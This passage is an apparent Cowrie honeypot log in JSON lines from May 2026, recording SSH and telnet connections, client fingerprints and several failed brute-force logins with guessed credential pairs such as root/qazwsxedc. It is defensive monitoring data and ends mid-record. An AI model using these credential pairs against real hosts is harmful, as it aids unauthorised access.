{"eventid":"cowrie.login.failed","username":"root","password":"bear","message":"login attempt [root/bear] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:58.478799Z","src_ip":"20.193.250.100","session":"43bf2092ce78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.419005632400513,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:58.624019Z","src_ip":"152.42.224.71","session":"59938c7c26df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:41:59.683742Z","src_ip":"20.193.250.100","session":"43bf2092ce78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43168,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cb995df74dc","protocol":"telnet","message":"New connection: 152.42.224.71:43168 (10.17.0.5:23) [session: 9cb995df74dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:00.079554Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51872,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f55e52ce213","protocol":"ssh","message":"New connection: 176.65.132.129:51872 (159.203.135.109:22) [session: 4f55e52ce213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:00.250385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:00.255945Z","src_ip":"176.65.132.129","session":"4f55e52ce213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:00.339754Z","src_ip":"176.65.132.129","session":"4f55e52ce213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"login","password":"login","message":"login attempt [login/login] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:00.587559Z","src_ip":"176.65.132.129","session":"4f55e52ce213","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":53900,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d6cbf4941fc","protocol":"ssh","message":"New connection: 82.152.132.24:53900 (159.203.135.109:22) [session: 7d6cbf4941fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:01.266873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:01.272868Z","src_ip":"82.152.132.24","session":"7d6cbf4941fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:01.399254Z","src_ip":"82.152.132.24","session":"7d6cbf4941fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":48172,"dst_ip":"10.17.0.5","dst_port":22,"session":"5be577f1b770","protocol":"ssh","message":"New connection: 45.162.8.14:48172 (10.17.0.5:22) [session: 5be577f1b770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:01.638909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:01.644511Z","src_ip":"45.162.8.14","session":"5be577f1b770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:01.676012Z","src_ip":"176.65.132.129","session":"4f55e52ce213","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:01.763226Z","src_ip":"45.162.8.14","session":"5be577f1b770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"isar123","message":"login attempt [root/isar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:01.935701Z","src_ip":"82.152.132.24","session":"7d6cbf4941fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Paul","message":"login attempt [root/Paul] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:02.269950Z","src_ip":"45.162.8.14","session":"5be577f1b770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:03.066778Z","src_ip":"82.152.132.24","session":"7d6cbf4941fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:03.389053Z","src_ip":"45.162.8.14","session":"5be577f1b770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51876,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dd20373d620","protocol":"ssh","message":"New connection: 176.65.132.129:51876 (159.203.135.109:22) [session: 8dd20373d620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:03.571581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:03.700984Z","src_ip":"176.65.132.129","session":"8dd20373d620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:03.705949Z","src_ip":"176.65.132.129","session":"8dd20373d620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:04.050457Z","src_ip":"176.65.132.129","session":"8dd20373d620","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:05.135642Z","src_ip":"176.65.132.129","session":"8dd20373d620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":50970,"dst_ip":"10.17.0.5","dst_port":22,"session":"af32b51a2844","protocol":"ssh","message":"New connection: 13.71.92.229:50970 (10.17.0.5:22) [session: af32b51a2844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:06.126915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:06.135288Z","src_ip":"13.71.92.229","session":"af32b51a2844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:06.352096Z","src_ip":"13.71.92.229","session":"af32b51a2844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":55040,"dst_ip":"159.203.135.109","dst_port":23,"session":"f36dd13e61e8","protocol":"telnet","message":"New connection: 213.108.3.46:55040 (159.203.135.109:23) [session: f36dd13e61e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:06.562636Z"}
{"eventid":"cowrie.session.closed","duration":0.013626813888549805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:06.576186Z","src_ip":"213.108.3.46","session":"f36dd13e61e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38676,"dst_ip":"10.17.0.5","dst_port":23,"session":"23e9265fee1e","protocol":"telnet","message":"New connection: 152.42.224.71:38676 (10.17.0.5:23) [session: 23e9265fee1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:06.978469Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44212,"dst_ip":"159.203.135.109","dst_port":22,"session":"75bb5aec31eb","protocol":"ssh","message":"New connection: 176.65.132.129:44212 (159.203.135.109:22) [session: 75bb5aec31eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:07.040603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:07.050341Z","src_ip":"176.65.132.129","session":"75bb5aec31eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:07.132805Z","src_ip":"176.65.132.129","session":"75bb5aec31eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scoobydoo123","message":"login attempt [root/scoobydoo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:07.232834Z","src_ip":"13.71.92.229","session":"af32b51a2844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:07.382149Z","src_ip":"176.65.132.129","session":"75bb5aec31eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:08.446861Z","src_ip":"13.71.92.229","session":"af32b51a2844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:08.497322Z","src_ip":"176.65.132.129","session":"75bb5aec31eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.91806769371033,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:09.372306Z","src_ip":"152.42.224.71","session":"655ec77ecc8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44222,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a4fc8d9f954","protocol":"ssh","message":"New connection: 176.65.132.129:44222 (159.203.135.109:22) [session: 9a4fc8d9f954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:10.294232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:10.301481Z","src_ip":"176.65.132.129","session":"9a4fc8d9f954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:10.387211Z","src_ip":"176.65.132.129","session":"9a4fc8d9f954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:10.641715Z","src_ip":"176.65.132.129","session":"9a4fc8d9f954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:11.730236Z","src_ip":"176.65.132.129","session":"9a4fc8d9f954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44238,"dst_ip":"159.203.135.109","dst_port":22,"session":"93f52256ff05","protocol":"ssh","message":"New connection: 176.65.132.129:44238 (159.203.135.109:22) [session: 93f52256ff05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:13.645151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:42:13.750495Z","src_ip":"176.65.132.129","session":"93f52256ff05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 